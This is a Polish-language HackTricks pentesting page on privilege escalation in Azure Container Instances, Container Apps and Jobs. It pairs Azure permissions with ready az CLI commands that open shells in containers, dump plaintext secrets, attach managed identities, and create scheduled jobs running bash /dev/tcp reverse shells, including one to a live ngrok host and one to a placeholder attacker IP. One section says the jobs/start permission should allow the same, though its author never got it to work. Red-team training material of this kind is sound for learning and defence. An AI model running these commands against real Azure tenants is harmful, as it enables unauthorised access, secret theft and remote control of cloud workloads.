Az - Azure Container Instances, Apps & Jobs Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Azure Container Instances, Apps & Jobs

Aby uzyskać więcej informacji, sprawdź:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Te uprawnienia pozwalają użytkownikowi na wykonanie polecenia w działającym kontenerze. Może to być użyte do eskalacji uprawnień w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście, możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.

Aby uzyskać powłokę, wystarczy:

az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Możliwe jest również odczytanie wyjścia kontenera za pomocą:

az container attach --name <container-name> --resource-group <res-group>

Lub uzyskaj logi za pomocą:

az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Te uprawnienia pozwalają na przypisanie zarządzanej tożsamości użytkownika do grupy kontenerów. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.

Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:

az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Te uprawnienia pozwalają na tworzenie lub aktualizowanie grupy kontenerów z przypisaną tożsamością zarządzaną przez użytkownika. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.

az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Ponadto możliwe jest również zaktualizowanie istniejącej grupy kontenerów, dodając na przykład argument --command-line z odwróconym powłoką.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Te uprawnienia pozwalają użytkownikowi uzyskać powłokę w działającym kontenerze aplikacji. Może to być użyte do eskalacji uprawnień w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.

az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

To uprawnienie pozwala na uzyskanie czystego tekstu sekretów skonfigurowanych wewnątrz aplikacji kontenerowej. Należy zauważyć, że sekrety mogą być skonfigurowane z czystym tekstem lub z linkiem do skarbca kluczy (w takim przypadku aplikacja będzie miała przypisaną tożsamość zarządzaną z dostępem do sekretów).

az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Te uprawnienia pozwalają na przypisanie zarządzanej tożsamości użytkownika do aplikacji kontenerowej. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze. Wykonanie tej akcji z az cli wymaga również uprawnienia Microsoft.App/containerApps/listSecrets/action.

Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:

az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Te uprawnienia pozwalają na tworzenie lub aktualizowanie kontenera aplikacji z przypisaną tożsamością zarządzaną przez użytkownika. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.

# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

Tip

Zauważ, że z tymi uprawnieniami inne konfiguracje aplikacji mogą być modyfikowane, co może umożliwić przeprowadzenie innych ataków privesc i post exploitation w zależności od konfiguracji istniejących aplikacji.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Chociaż zadania nie są długoterminowe jak aplikacje kontenerowe, możesz wykorzystać możliwość nadpisania konfiguracji polecenia zadania podczas uruchamiania wykonania. Tworząc niestandardowy szablon zadania (na przykład, zastępując domyślne polecenie powrotnym shellem), możesz uzyskać dostęp do powłoki w kontenerze, który uruchamia zadanie.

# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Jeśli masz te uprawnienia, możesz wylistować wszystkie sekrety (pierwsze uprawnienie) wewnątrz kontenera Job, a następnie odczytać wartości skonfigurowanych sekretów.

az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Jeśli masz uprawnienia do modyfikacji konfiguracji zadania, możesz przypisać tożsamość zarządzaną przypisaną do użytkownika. Ta tożsamość może mieć dodatkowe uprawnienia (na przykład dostęp do innych zasobów lub sekretów), które mogą być wykorzystane do eskalacji uprawnień wewnątrz kontenera.

az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Jeśli możesz utworzyć nową pracę Container Apps (lub zaktualizować istniejącą) i przypisać zarządzaną tożsamość, możesz zaprojektować pracę tak, aby wykonywała ładunek, który eskaluje uprawnienia. Na przykład, możesz utworzyć nową pracę, która nie tylko uruchamia odwrotny powłokę, ale także wykorzystuje poświadczenia zarządzanej tożsamości do żądania tokenów lub dostępu do innych zasobów.

az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

Tip

To polecenie zgłosi błąd, jeśli nie masz uprawnienia Microsoft.App/jobs/read, chociaż zadanie zostanie utworzone.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Wygląda na to, że z tymi uprawnieniami powinno być możliwe uruchomienie zadania. Może to być użyte do uruchomienia zadania z odwróconym powłoką lub innym złośliwym poleceniem bez potrzeby modyfikacji konfiguracji zadania.

Nie udało mi się tego uruchomić, ale zgodnie z dozwolonymi parametrami powinno to być możliwe.

Microsoft.ContainerInstance/containerGroups/restart/action

Pozwala na ponowne uruchomienie konkretnej grupy kontenerów w Azure Container Instances.

az container restart --resource-group <resource-group> --name <container-instances>

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks